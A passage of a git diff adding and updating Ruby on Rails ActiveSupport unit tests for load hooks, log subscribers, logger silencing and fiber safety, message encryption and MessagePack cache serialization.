+    ActiveSupport.run_load_hooks(:registered_after_with_two_once, FakeContext.new(2))
+    ActiveSupport.run_load_hooks(:registered_after_with_two_once, FakeContext.new(5))
+    assert_equal 0, i
+    ActiveSupport.on_load(:registered_after_with_two_once, run_once: true) { i += incr }
+    assert_equal 2, i
+  end
+
   def test_hook_registered_interleaved_run_with_two_registrations
     i = 0
     ActiveSupport.run_load_hooks(:registered_interleaved_with_two, FakeContext.new(2))
@@ -45,6 +74,22 @@ def test_hook_registered_interleaved_run_with_two_registrations
     assert_equal 7, i
   end
 
+  def test_hook_registered_interleaved_run_with_two_registrations_once
+    i = 0
+    ActiveSupport
+      .run_load_hooks(:registered_interleaved_with_two_once, FakeContext.new(2))
+    assert_equal 0, i
+
+    ActiveSupport.on_load(:registered_interleaved_with_two_once, run_once: true) do
+      i += incr
+    end
+    assert_equal 2, i
+
+    ActiveSupport
+      .run_load_hooks(:registered_interleaved_with_two_once, FakeContext.new(5))
+    assert_equal 2, i
+  end
+
   def test_hook_receives_a_context
     i = 0
     ActiveSupport.on_load(:contextual) { i += incr }
@@ -81,8 +126,55 @@ def test_hook_with_yield_true_afterward
     assert_equal 7, i
   end
 
-private
+  def test_hook_uses_class_eval_when_base_is_a_class
+    ActiveSupport.on_load(:uses_class_eval) do
+      def first_wrestler # rubocop:disable Lint/NestedMethodDefinition
+        "John Cena"
+      end
+    end
+
+    ActiveSupport.run_load_hooks(:uses_class_eval, FakeContext)
+    assert_equal "John Cena", FakeContext.new(0).first_wrestler
+  ensure
+    FakeContext.remove_possible_method(:first_wrestler)
+  end
 
+  def test_hook_uses_class_eval_when_base_is_a_module
+    mod = Module.new
+    ActiveSupport.on_load(:uses_class_eval2) do
+      def last_wrestler # rubocop:disable Lint/NestedMethodDefinition
+        "Dwayne Johnson"
+      end
+    end
+    ActiveSupport.run_load_hooks(:uses_class_eval2, mod)
+
+    klass = Class.new do
+      include mod
+    end
+
+    assert_equal "Dwayne Johnson", klass.new.last_wrestler
+  end
+
+  def test_hook_uses_instance_eval_when_base_is_an_instance
+    ActiveSupport.on_load(:uses_instance_eval) do
+      def second_wrestler # rubocop:disable Lint/NestedMethodDefinition
+        "Hulk Hogan"
+      end
+    end
+
+    context = FakeContext.new(1)
+    ActiveSupport.run_load_hooks(:uses_instance_eval, context)
+
+    assert_raises NoMethodError do
+      FakeContext.new(2).second_wrestler
+    end
+    assert_raises NoMethodError do
+      FakeContext.second_wrestler
+    end
+    assert_equal "Hulk Hogan", context.second_wrestler
+  end
+
+private
   def incr_amt
     5
   end
diff --git a/activesupport/test/log_subscriber_test.rb b/activesupport/test/log_subscriber_test.rb
index f6496ef7d6a07..59e132f058b78 100644
--- a/activesupport/test/log_subscriber_test.rb
+++ b/activesupport/test/log_subscriber_test.rb
@@ -1,31 +1,42 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/log_subscriber/test_helper"
 
-class MyLogSubscriber < ActiveSupport::LogSubscriber
-  attr_reader :event
+class SyncLogSubscriberTest < ActiveSupport::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
 
-  def some_event(event)
-    @event = event
-    info event.name
-  end
+  class MyLogSubscriber < ActiveSupport::LogSubscriber
+    attr_reader :event
 
-  def foo(event)
-    debug "debug"
-    info { "info" }
-    warn "warn"
-  end
+    def some_event(event)
+      @event = event
+      info event.name
+    end
 
-  def bar(event)
-    info "#{color("cool", :red)}, #{color("isn't it?", :blue, true)}"
-  end
+    def foo(event)
+      debug "debug"
+      info { "info" }
+      warn "warn"
+    end
 
-  def puke(event)
-    raise "puke"
-  end
-end
+    def bar(event)
+      info "#{color("cool", :red)}, #{color("isn't it?", :blue, bold: true)}"
+    end
 
-class SyncLogSubscriberTest < ActiveSupport::TestCase
-  include ActiveSupport::LogSubscriber::TestHelper
+    def baz(event)
+      info "#{color("rad", :green, bold: true, underline: true)}, #{color("isn't it?", :yellow, italic: true)}"
+    end
+
+    def puke(event)
+      raise "puke"
+    end
+
+    def debug_only(event)
+      debug "debug logs are enabled"
+    end
+    subscribe_log_level :debug_only, :debug
+  end
 
   def setup
     super
@@ -37,10 +48,6 @@ def teardown
     ActiveSupport::LogSubscriber.log_subscribers.clear
   end
 
-  def instrument(*args, &block)
-    ActiveSupport::Notifications.instrument(*args, &block)
-  end
-
   def test_proxies_method_to_rails_logger
     @log_subscriber.foo(nil)
     assert_equal %w(debug), @logger.logged(:debug)
@@ -49,11 +56,17 @@ def test_proxies_method_to_rails_logger
   end
 
   def test_set_color_for_messages
-    ActiveSupport::LogSubscriber.colorize_logging = true
+    ActiveSupport.colorize_logging = true
     @log_subscriber.bar(nil)
     assert_equal "\e[31mcool\e[0m, \e[1m\e[34misn't it?\e[0m", @logger.logged(:info).last
   end
 
+  def test_set_mode_for_messages
+    ActiveSupport.colorize_logging = true
+    @log_subscriber.baz(nil)
+    assert_equal "\e[1;4m\e[32mrad\e[0m, \e[3m\e[33misn't it?\e[0m", @logger.logged(:info).last
+  end
+
   def test_does_not_set_color_if_colorize_logging_is_set_to_false
     @log_subscriber.bar(nil)
     assert_equal "cool, isn't it?", @logger.logged(:info).last
@@ -73,11 +86,30 @@ def test_event_is_an_active_support_notifications_event
     assert_kind_of ActiveSupport::Notifications::Event, @log_subscriber.event
   end
 
-  def test_does_not_send_the_event_if_it_doesnt_match_the_class
+  def test_event_attributes
     ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
-    instrument "unknown_event.my_log_subscriber"
+    instrument "some_event.my_log_subscriber" do
+      [] # Make an allocation
+    end
     wait
-    # If we get here, it means that NoMethodError was not raised.
+    event = @log_subscriber.event
+    if defined?(JRUBY_VERSION)
+      assert_equal 0, event.cpu_time
+      assert_equal 0, event.allocations
+    else
+      assert_operator event.cpu_time, :>, 0
+      assert_operator event.allocations, :>, 0
+    end
+    assert_operator event.duration, :>, 0
+    assert_operator event.idle_time, :>=, 0
+  end
+
+  def test_does_not_send_the_event_if_it_doesnt_match_the_class
+    assert_nothing_raised do
+      ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+      instrument "unknown_event.my_log_subscriber"
+      wait
+    end
   end
 
   def test_does_not_send_the_event_if_logger_is_nil
@@ -90,9 +122,11 @@ def test_does_not_send_the_event_if_logger_is_nil
   end
 
   def test_does_not_fail_with_non_namespaced_events
-    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
-    instrument "whatever"
-    wait
+    assert_nothing_raised do
+      ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+      instrument "whatever"
+      wait
+    end
   end
 
   def test_flushes_loggers
@@ -110,10 +144,12 @@ def test_flushes_the_same_logger_just_once
   end
 
   def test_logging_does_not_die_on_failures
-    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
-    instrument "puke.my_log_subscriber"
-    instrument "some_event.my_log_subscriber"
-    wait
+    assert_error_reported do
+      ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+      instrument "puke.my_log_subscriber"
+      instrument "some_event.my_log_subscriber"
+      wait
+    end
 
     assert_equal 1, @logger.logged(:info).size
     assert_equal "some_event.my_log_subscriber", @logger.logged(:info).last
@@ -121,4 +157,51 @@ def test_logging_does_not_die_on_failures
     assert_equal 1, @logger.logged(:error).size
     assert_match 'Could not log "puke.my_log_subscriber" event. RuntimeError: puke', @logger.logged(:error).last
   end
+
+  def test_subscribe_log_level
+    MyLogSubscriber.logger = @logger
+    @logger.level = Logger::INFO
+    MyLogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    assert_empty @logger.logged(:debug)
+
+    instrument "debug_only.my_log_subscriber"
+    wait
+    assert_empty @logger.logged(:debug)
+
+    @logger.level = Logger::DEBUG
+    instrument "debug_only.my_log_subscriber"
+    wait
+    assert_not_empty @logger.logged(:debug)
+  end
+
+  class MockSemanticLogger < MockLogger
+    LEVELS = [:debug, :info]
+    def level
+      LEVELS[super]
+    end
+  end
+
+  def test_subscribe_log_level_with_non_numeric_levels
+    # The semantic_logger gem doesn't returns integers but symbols as levels
+    @logger = MockSemanticLogger.new
+    set_logger(@logger)
+    MyLogSubscriber.logger = @logger
+    @logger.level = Logger::INFO
+    MyLogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+    assert_empty @logger.logged(:debug)
+
+    instrument "debug_only.my_log_subscriber"
+    wait
+    assert_empty @logger.logged(:debug)
+
+    @logger.level = Logger::DEBUG
+    instrument "debug_only.my_log_subscriber"
+    wait
+    assert_not_empty @logger.logged(:debug)
+  end
+
+  private
+    def instrument(*args, &block)
+      ActiveSupport::Notifications.instrument(*args, &block)
+    end
 end
diff --git a/activesupport/test/logger_test.rb b/activesupport/test/logger_test.rb
index 3f04783401600..b203a82d4ac8f 100644
--- a/activesupport/test/logger_test.rb
+++ b/activesupport/test/logger_test.rb
@@ -1,8 +1,11 @@
-require "abstract_unit"
-require "multibyte_test_helpers"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require_relative "multibyte_test_helpers"
 require "stringio"
 require "fileutils"
 require "tempfile"
+require "tmpdir"
 require "concurrent/atomics"
 
 class LoggerTest < ActiveSupport::TestCase
@@ -23,6 +26,31 @@ def test_log_outputs_to
 
     assert_not Logger.logger_outputs_to?(@logger, STDOUT),         "Expected logger_outputs_to? to STDOUT to return false, but was true"
     assert_not Logger.logger_outputs_to?(@logger, STDOUT, STDERR), "Expected logger_outputs_to? to STDOUT or STDERR to return false, but was true"
+    assert_not Logger.logger_outputs_to?(@logger, "log/production.log")
+  end
+
+  def test_log_outputs_to_with_a_broadcast_logger
+    logger = ActiveSupport::BroadcastLogger.new(Logger.new(STDOUT))
+
+    assert(Logger.logger_outputs_to?(logger, STDOUT))
+    assert_not(Logger.logger_outputs_to?(logger, STDERR))
+
+    logger.broadcast_to(Logger.new(STDERR))
+    assert(Logger.logger_outputs_to?(logger, STDERR))
+  end
+
+  def test_log_outputs_to_with_a_filename
+    t = Tempfile.new ["development", "log"]
+    logger = ActiveSupport::BroadcastLogger.new(Logger.new(t.path))
+
+    assert Logger.logger_outputs_to?(logger, t)
+    assert Logger.logger_outputs_to?(logger, t.path)
+    assert Logger.logger_outputs_to?(logger, File.join(File.dirname(t.path), ".", File.basename(t.path)))
+    assert_not Logger.logger_outputs_to?(logger, "log/production.log")
+    assert_not Logger.logger_outputs_to?(logger, STDOUT)
+  ensure
+    logger.close
+    t.close true
   end
 
   def test_write_binary_data_to_existing_file
@@ -37,10 +65,12 @@ def test_write_binary_data_to_existing_file
     logger = Logger.new f
     logger.level = Logger::DEBUG
 
-    str = "\x80"
+    str = +"\x80"
     str.force_encoding("ASCII-8BIT")
 
-    logger.add Logger::DEBUG, str
+    assert_nothing_raised do
+      logger.add Logger::DEBUG, str
+    end
   ensure
     logger.close
     t.close true
@@ -55,15 +85,28 @@ def test_write_binary_data_create_file
     logger = Logger.new f
     logger.level = Logger::DEBUG
 
-    str = "\x80"
+    str = +"\x80"
     str.force_encoding("ASCII-8BIT")
 
-    logger.add Logger::DEBUG, str
+    assert_nothing_raised do
+      logger.add Logger::DEBUG, str
+    end
   ensure
     logger.close
     File.unlink fname
   end
 
+  def test_defaults_to_simple_formatter
+    logger = Logger.new(@output)
+    assert_instance_of ActiveSupport::Logger::SimpleFormatter, logger.formatter
+  end
+
+  def test_formatter_can_be_set_via_keyword_arg
+    custom_formatter = ::Logger::Formatter.new
+    logger = Logger.new(@output, formatter: custom_formatter)
+    assert_same custom_formatter, logger.formatter
+  end
+
   def test_should_log_debugging_message_when_debugging
     @logger.level = Logger::DEBUG
     @logger.add(Logger::DEBUG, @message)
@@ -73,7 +116,7 @@ def test_should_log_debugging_message_when_debugging
   def test_should_not_log_debug_messages_when_log_level_is_info
     @logger.level = Logger::INFO
     @logger.add(Logger::DEBUG, @message)
-    assert_not @output.string.include?(@message)
+    assert_not_includes @output.string, @message
   end
 
   def test_should_add_message_passed_as_block_when_using_add
@@ -117,7 +160,7 @@ def test_should_know_if_its_loglevel_is_below_a_given_level
     Logger::Severity.constants.each do |level|
       next if level.to_s == "UNKNOWN"
       @logger.level = Logger::Severity.const_get(level) - 1
-      assert @logger.send("#{level.downcase}?"), "didn't know if it was #{level.downcase}? or below"
+      assert @logger.public_send("#{level.downcase}?"), "didn't know if it was #{level.downcase}? or below"
     end
   end
 
@@ -137,7 +180,20 @@ def test_silencing_everything_but_errors
       @logger.error "THIS IS HERE"
     end
 
-    assert_not @output.string.include?("NOT THERE")
+    assert_not_includes @output.string, "NOT THERE"
+    assert_includes @output.string, "THIS IS HERE"
+  end
+
+  def test_unsilencing
+    @logger.level = Logger::INFO
+
+    @logger.debug "NOT THERE"
+
+    @logger.silence Logger::DEBUG do
+      @logger.debug "THIS IS HERE"
+    end
+
+    assert_not_includes @output.string, "NOT THERE"
     assert_includes @output.string, "THIS IS HERE"
   end
 
@@ -145,18 +201,18 @@ def test_logger_silencing_works_for_broadcast
     another_output  = StringIO.new
     another_logger  = ActiveSupport::Logger.new(another_output)
 
-    @logger.extend ActiveSupport::Logger.broadcast(another_logger)
+    logger = ActiveSupport::BroadcastLogger.new(@logger, another_logger)
 
-    @logger.debug "CORRECT DEBUG"
-    @logger.silence do |logger|
-      assert_kind_of ActiveSupport::Logger, logger
-      @logger.debug "FAILURE"
-      @logger.error "CORRECT ERROR"
+    logger.debug "CORRECT DEBUG"
+    logger.silence do |logger|
+      assert_kind_of ActiveSupport::BroadcastLogger, logger
+      logger.debug "FAILURE"
+      logger.error "CORRECT ERROR"
     end
 
     assert_includes @output.string, "CORRECT DEBUG"
     assert_includes @output.string, "CORRECT ERROR"
-    assert_not @output.string.include?("FAILURE")
+    assert_not_includes @output.string, "FAILURE"
 
     assert_includes another_output.string, "CORRECT DEBUG"
     assert_includes another_output.string, "CORRECT ERROR"
@@ -167,18 +223,18 @@ def test_broadcast_silencing_does_not_break_plain_ruby_logger
     another_output  = StringIO.new
     another_logger  = ::Logger.new(another_output)
 
-    @logger.extend ActiveSupport::Logger.broadcast(another_logger)
+    logger = ActiveSupport::BroadcastLogger.new(@logger, another_logger)
 
-    @logger.debug "CORRECT DEBUG"
-    @logger.silence do |logger|
-      assert_kind_of ActiveSupport::Logger, logger
-      @logger.debug "FAILURE"
-      @logger.error "CORRECT ERROR"
+    logger.debug "CORRECT DEBUG"
+    logger.silence do |logger|
+      assert_kind_of ActiveSupport::BroadcastLogger, logger
+      logger.debug "FAILURE"
+      logger.error "CORRECT ERROR"
     end
 
     assert_includes @output.string, "CORRECT DEBUG"
     assert_includes @output.string, "CORRECT ERROR"
-    assert_not @output.string.include?("FAILURE")
+    assert_not_includes @output.string, "FAILURE"
 
     assert_includes another_output.string, "CORRECT DEBUG"
     assert_includes another_output.string, "CORRECT ERROR"
@@ -255,6 +311,154 @@ def test_logger_level_local_thread_safety
     assert_level(Logger::INFO)
   end
 
+  def test_logger_level_main_fiber_safety
+    previous_isolation_level = ActiveSupport::IsolatedExecutionState.isolation_level
+    ActiveSupport::IsolatedExecutionState.isolation_level = :fiber
+
+    @logger.level = Logger::INFO
+    assert_level(Logger::INFO)
+
+    fiber = Fiber.new do
+      assert_level(Logger::INFO)
+    end
+
+    @logger.silence(Logger::ERROR) do
+      assert_level(Logger::ERROR)
+      fiber.resume
+    end
+  ensure
+    ActiveSupport::IsolatedExecutionState.isolation_level = previous_isolation_level
+  end
+
+  def test_logger_level_local_fiber_safety
+    previous_isolation_level = ActiveSupport::IsolatedExecutionState.isolation_level
+    ActiveSupport::IsolatedExecutionState.isolation_level = :fiber
+
+    @logger.level = Logger::INFO
+    assert_level(Logger::INFO)
+
+    another_fiber = Fiber.new do
+      @logger.silence(Logger::ERROR) do
+        assert_level(Logger::ERROR)
+        @logger.silence(Logger::DEBUG) do
+          assert_level(Logger::DEBUG)
+        end
+      end
+
+      assert_level(Logger::INFO)
+    end
+
+    Fiber.new do
+      @logger.silence(Logger::ERROR) do
+        assert_level(Logger::ERROR)
+        @logger.silence(Logger::DEBUG) do
+          another_fiber.resume
+          assert_level(Logger::DEBUG)
+        end
+      end
+
+      assert_level(Logger::INFO)
+    end.resume
+
+    assert_level(Logger::INFO)
+  ensure
+    ActiveSupport::IsolatedExecutionState.isolation_level = previous_isolation_level
+  end
+
+  def test_logger_level_thread_safety
+    previous_isolation_level = ActiveSupport::IsolatedExecutionState.isolation_level
+    ActiveSupport::IsolatedExecutionState.isolation_level = :thread
+
+    @logger.level = Logger::INFO
+    assert_level(Logger::INFO)
+
+    enumerator = Enumerator.new do |yielder|
+      @logger.level = Logger::DEBUG
+      yielder.yield @logger.level
+    end
+    assert_equal Logger::DEBUG, enumerator.next
+    assert_level(Logger::DEBUG)
+  ensure
+    ActiveSupport::IsolatedExecutionState.isolation_level = previous_isolation_level
+  end
+
+  def test_logger_freeze
+    logger = @logger.clone
+    logger.freeze
+
+    assert_nothing_raised do
+      assert_equal Logger::DEBUG, logger.level
+
+      logger.debug "I am frozen 1"
+      assert_includes @output.string, "I am frozen 1"
+
+      logger.debug { "I am frozen 2" }
+      assert_includes @output.string, "I am frozen 2"
+
+      logger.add Logger::INFO, "I am frozen 3"
+      assert_includes @output.string, "I am frozen 3"
+
+      logger.silence do
+        logger.debug "I am frozen 4"
+      end
+      assert_not_includes @output.string, "I am frozen 4"
+    end
+
+    assert_raises FrozenError do
+      logger.level = Logger::INFO
+    end
+
+    assert_raises FrozenError do
+      logger.formatter = Logger::Formatter.new
+    end
+  end
+
+  def test_temporarily_logging_at_a_noisier_level
+    @logger.level = Logger::INFO
+
+    @logger.debug "NOT THERE"
+
+    @logger.log_at Logger::DEBUG do
+      @logger.debug "THIS IS HERE"
+    end
+
+    @logger.debug "NOT THERE"
+
+    assert_not_includes @output.string, "NOT THERE"
+    assert_includes @output.string, "THIS IS HERE"
+  end
+
+  def test_temporarily_logging_at_a_quieter_level
+    @logger.log_at Logger::ERROR do
+      @logger.debug "NOT THERE"
+      @logger.error "THIS IS HERE"
+    end
+
+    assert_not_includes @output.string, "NOT THERE"
+    assert_includes @output.string, "THIS IS HERE"
+  end
+
+  def test_temporarily_logging_at_a_symbolic_level
+    @logger.log_at :error do
+      @logger.debug "NOT THERE"
+      @logger.error "THIS IS HERE"
+    end
+
+    assert_not_includes @output.string, "NOT THERE"
+    assert_includes @output.string, "THIS IS HERE"
+  end
+
+  def test_log_at_only_impact_receiver
+    logger2 = Logger.new(StringIO.new)
+    assert_equal Logger::DEBUG, logger2.level
+    assert_equal Logger::DEBUG, @logger.level
+
+    @logger.log_at :error do
+      assert_equal Logger::DEBUG, logger2.level
+      assert_equal Logger::ERROR, @logger.level
+    end
+  end
+
   private
     def level_name(level)
       ::Logger::Severity.constants.find do |severity|
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index 56a436f751c26..7c6f763f32cbd 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -1,9 +1,14 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "openssl"
 require "active_support/time"
 require "active_support/json"
+require_relative "messages/message_codec_tests"
 
 class MessageEncryptorTest < ActiveSupport::TestCase
+  include MessageCodecTests
+
   class JSONSerializer
     def dump(value)
       ActiveSupport::JSON.encode(value)
@@ -62,7 +67,7 @@ def test_alternative_serialization_method
     prev = ActiveSupport.use_standard_json_time_format
     ActiveSupport.use_standard_json_time_format = true
     encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.random_bytes(32), SecureRandom.random_bytes(128), serializer: JSONSerializer.new)
-    message = encryptor.encrypt_and_sign(:foo => 123, "bar" => Time.utc(2010))
+    message = encryptor.encrypt_and_sign({ :foo => 123, "bar" => Time.utc(2010) })
     exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
     assert_equal exp, encryptor.decrypt_and_verify(message)
   ensure
@@ -80,25 +85,92 @@ def test_message_obeys_strict_encoding
     assert_not_verified([iv,  message] * bad_encoding_characters)
   end
 
+  test "supports URL-safe encoding when using authenticated encryption" do
+    encryptor = ActiveSupport::MessageEncryptor.new(@secret, url_safe: true, cipher: "aes-256-gcm")
+
+    # Because encrypted data appears random, we cannot control whether it will
+    # contain bytes that _would_ be encoded as non-URL-safe characters (i.e. "+"
+    # or "/") if `url_safe: true` were broken.  Therefore, to make our test
+    # falsifiable, we use a large string so that the encrypted data will almost
+    # certainly contain such bytes.
+    data = "x" * 10001
+    message = encryptor.encrypt_and_sign(data)
+
+    assert_equal data, encryptor.decrypt_and_verify(message)
+    assert_equal message, URI.encode_www_form_component(message)
+  end
+
+  test "supports URL-safe encoding when using unauthenticated encryption" do
+    encryptor = ActiveSupport::MessageEncryptor.new(@secret, url_safe: true, cipher: "aes-256-cbc")
+
+    # When using unauthenticated encryption, messages are double encoded: once
+    # when encrypting and once again when signing with a MessageVerifier.  The
+    # 1st encode eliminates the possibility of a 6-bit aligned occurrence of
+    # `0b111110` or `0b111111`, which the 2nd encode _would_ map to a
+    # non-URL-safe character (i.e. "+" or "/") if `url_safe: true` were broken.
+    # Therefore, to ensure our test is falsifiable, we also assert that the
+    # message payload _would_ have padding characters (i.e. "=") if
+    # `url_safe: true` were broken.
+    data = 1
+    message = encryptor.encrypt_and_sign(data)
+
+    assert_equal data, encryptor.decrypt_and_verify(message)
+    assert_equal message, URI.encode_www_form_component(message)
+    assert_not_equal 0, message.rpartition("--").first.length % 4,
+      "Unable to assert that the message payload is unpadded, because it does not require padding"
+  end
+
   def test_aead_mode_encryption
     encryptor = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
     message = encryptor.encrypt_and_sign(@data)
     assert_equal @data, encryptor.decrypt_and_verify(message)
   end
 
+  def test_aead_mode_with_hmac_cbc_cipher_text
+    encryptor = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
+
+    assert_aead_not_decrypted(encryptor, "eHdGeExnZEwvMSt3U3dKaFl1WFo0TjVvYzA0eGpjbm5WSkt5MXlsNzhpZ0ZnbWhBWFlQZTRwaXE1bVJCS2oxMDZhYVp2dVN3V0lNZUlWQ3c2eVhQbnhnVjFmeVVubmhRKzF3WnZyWHVNMDg9LS1HSisyakJVSFlPb05ISzRMaXRzcFdBPT0=--831a1d54a3cda8a0658dc668a03dedcbce13b5ca")
+  end
+
   def test_messing_with_aead_values_causes_failures
     encryptor = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
     text, iv, auth_tag = encryptor.encrypt_and_sign(@data).split("--")
-    assert_not_decrypted([iv, text, auth_tag] * "--")
-    assert_not_decrypted([munge(text), iv, auth_tag] * "--")
-    assert_not_decrypted([text, munge(iv), auth_tag] * "--")
-    assert_not_decrypted([text, iv, munge(auth_tag)] * "--")
-    assert_not_decrypted([munge(text), munge(iv), munge(auth_tag)] * "--")
-    assert_not_decrypted([text, iv] * "--")
-    assert_not_decrypted([text, iv, auth_tag[0..-2]] * "--")
+    assert_aead_not_decrypted(encryptor, [iv, text, auth_tag] * "--")
+    assert_aead_not_decrypted(encryptor, [munge(text), iv, auth_tag] * "--")
+    assert_aead_not_decrypted(encryptor, [text, munge(iv), auth_tag] * "--")
+    assert_aead_not_decrypted(encryptor, [text, iv, munge(auth_tag)] * "--")
+    assert_aead_not_decrypted(encryptor, [munge(text), munge(iv), munge(auth_tag)] * "--")
+    assert_aead_not_decrypted(encryptor, [text, iv] * "--")
+    assert_aead_not_decrypted(encryptor, [text, iv, auth_tag[0..-2]] * "--")
+  end
+
+  def test_backwards_compatibility_decrypt_previously_encrypted_messages_without_metadata
+    secret = "\xB7\xF0\xBCW\xB1\x18`\xAB\xF0\x81\x10\xA4$\xF44\xEC\xA1\xDC\xC1\xDDD\xAF\xA9\xB8\x14\xCD\x18\x9A\x99 \x80)"
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm")
+    encrypted_message = "9cVnFs2O3lL9SPvIJuxBOLS51nDiBMw=--YNI5HAfHEmZ7VDpl--ddFJ6tXA0iH+XGcCgMINYQ=="
+
+    assert_equal "Ruby on Rails", encryptor.decrypt_and_verify(encrypted_message)
+  end
+
+  def test_inspect_does_not_show_secrets
+    encryptor = ActiveSupport::MessageEncryptor.new(@secret, cipher: "aes-256-gcm")
+    assert_match(/\A#<ActiveSupport::MessageEncryptor:0x[0-9a-f]+>\z/, encryptor.inspect)
+  end
+
+  def test_invalid_base64_argument
+    assert_not_decrypted("jrccrkls<!--esx-->tyx9")
   end
 
   private
+    def make_codec(**options)
+      ActiveSupport::MessageEncryptor.new(@secret, **options)
+    end
+
+    def assert_aead_not_decrypted(encryptor, value)
+      assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
+        encryptor.decrypt_and_verify(value)
+      end
+    end
 
     def assert_not_decrypted(value)
       assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
@@ -107,11 +179,15 @@ def assert_not_decrypted(value)
     end
 
     def assert_not_verified(value)
-      assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+      assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
         @encryptor.decrypt_and_verify(value)
       end
     end
 
+    def secrets
+      @secrets ||= Hash.new { |h, k| h[k] = SecureRandom.random_bytes(32) }
+    end
+
     def munge(base64_string)
       bits = ::Base64.strict_decode64(base64_string)
       bits.reverse!
diff --git a/activesupport/test/message_encryptors_test.rb b/activesupport/test/message_encryptors_test.rb
new file mode 100644
index 0000000000000..769aafbfc38bc
--- /dev/null
+++ b/activesupport/test/message_encryptors_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require_relative "rotation_coordinator_tests"
+
+class MessageEncryptorsTest < ActiveSupport::TestCase
+  include RotationCoordinatorTests
+
+  test "can override secret generator" do
+    secret_generator = ->(salt, secret_length:) { salt[0] * secret_length }
+    coordinator = make_coordinator.rotate(secret_generator: secret_generator)
+
+    assert_equal "message", roundtrip("message", coordinator["salt"])
+    assert_nil roundtrip("message", @coordinator["salt"], coordinator["salt"])
+  end
+
+  test "supports arbitrary secret generator kwargs" do
+    secret_generator = ->(salt, secret_length:, foo:, bar: nil) { foo[bar] * secret_length }
+    coordinator = ActiveSupport::MessageEncryptors.new(&secret_generator)
+    coordinator.rotate(foo: "foo", bar: 0)
+
+    assert_equal "message", roundtrip("message", coordinator["salt"])
+  end
+
+  test "supports arbitrary secret generator kwargs when using #rotate block" do
+    secret_generator = ->(salt, secret_length:, foo:, bar: nil) { foo[bar] * secret_length }
+    coordinator = ActiveSupport::MessageEncryptors.new(&secret_generator)
+    coordinator.rotate { { foo: "foo", bar: 0 } }
+
+    assert_equal "message", roundtrip("message", coordinator["salt"])
+  end
+
+  test "supports separate secrets for encryption and signing" do
+    secret_generator = proc { |*args, **kwargs| [SECRET_GENERATOR.call(*args, **kwargs), "signing secret"] }
+    coordinator = ActiveSupport::MessageEncryptors.new(&secret_generator)
+    coordinator.rotate_defaults
+
+    assert_equal "message", roundtrip("message", coordinator["salt"])
+    assert_nil roundtrip("message", @coordinator["salt"], coordinator["salt"])
+  end
+
+  private
+    SECRET_GENERATOR = proc { |salt, secret_length:| "".ljust(secret_length, salt) }
+
+    def make_coordinator
+      ActiveSupport::MessageEncryptors.new(&SECRET_GENERATOR)
+    end
+
+    def roundtrip(message, encryptor, decryptor = encryptor)
+      decryptor.decrypt_and_verify(encryptor.encrypt_and_sign(message))
+    rescue ActiveSupport::MessageEncryptor::InvalidMessage
+      nil
+    end
+end
diff --git a/activesupport/test/message_pack/cache_serializer_test.rb b/activesupport/test/message_pack/cache_serializer_test.rb
new file mode 100644
index 0000000000000..b619e14f7de4f
--- /dev/null
+++ b/activesupport/test/message_pack/cache_serializer_test.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/message_pack"
+require_relative "shared_serializer_tests"
+
+class MessagePackCacheSerializerTest < ActiveSupport::TestCase
+  include MessagePackSharedSerializerTests
+
+  test "uses #to_msgpack_ext and ::from_msgpack_ext to roundtrip unregistered objects" do
+    assert_roundtrip DefinesFromMsgpackExt.new("foo")
+  end
+
+  test "uses #as_json and ::json_create to roundtrip unregistered objects" do
+    assert_roundtrip DefinesJsonCreate.new("foo")
+  end
+
+  test "raises error when unable to serialize an unregistered object" do
+    assert_raises ActiveSupport::MessagePack::UnserializableObjectError do
+      dump(Unserializable.new("foo"))
+    end
+  end
+
+  test "raises error when serializing an unregistered object with an anonymous class" do
+    assert_raises ActiveSupport::MessagePack::UnserializableObjectError do
+      dump(Class.new(DefinesFromMsgpackExt).new("foo"))
+    end
+  end
+
+  test "handles missing class gracefully" do
+    klass = Class.new(DefinesFromMsgpackExt)
+    def klass.name; "DoesNotActuallyExist"; end
+
+    dumped = dump(klass.new("foo"))
+    assert_not_nil dumped
+    assert_nil load(dumped)
+  end
+
+  private
+    def serializer
+      ActiveSupport::MessagePack::CacheSerializer
+    end
+
+    class HasValue
+      attr_reader :value
+
+      def initialize(value)
+        @value = value
+      end
+
+      def ==(other)
+        self.class == other.class && value == other.value
+      end
+    end
+
+    class DefinesJsonCreate < HasValue
+      def self.json_create(hash)
+        DefinesJsonCreate.new(hash["as_json"])
+      end
+
+      def as_json
+        { "as_json" => value }
+      end
+    end
+
+    class DefinesFromMsgpackExt < DefinesJsonCreate
+      def self.from_msgpack_ext(string)
+        DefinesFromMsgpackExt.new(string.chomp!("msgpack_ext"))
+      end
+
+      def to_msgpack_ext
+        value + "msgpack_ext"
+      end
+    end
+
+    class Unserializable < HasValue
+      def as_json
+        {}
+      end
+
+      def to_msgpack_ext
+        ""
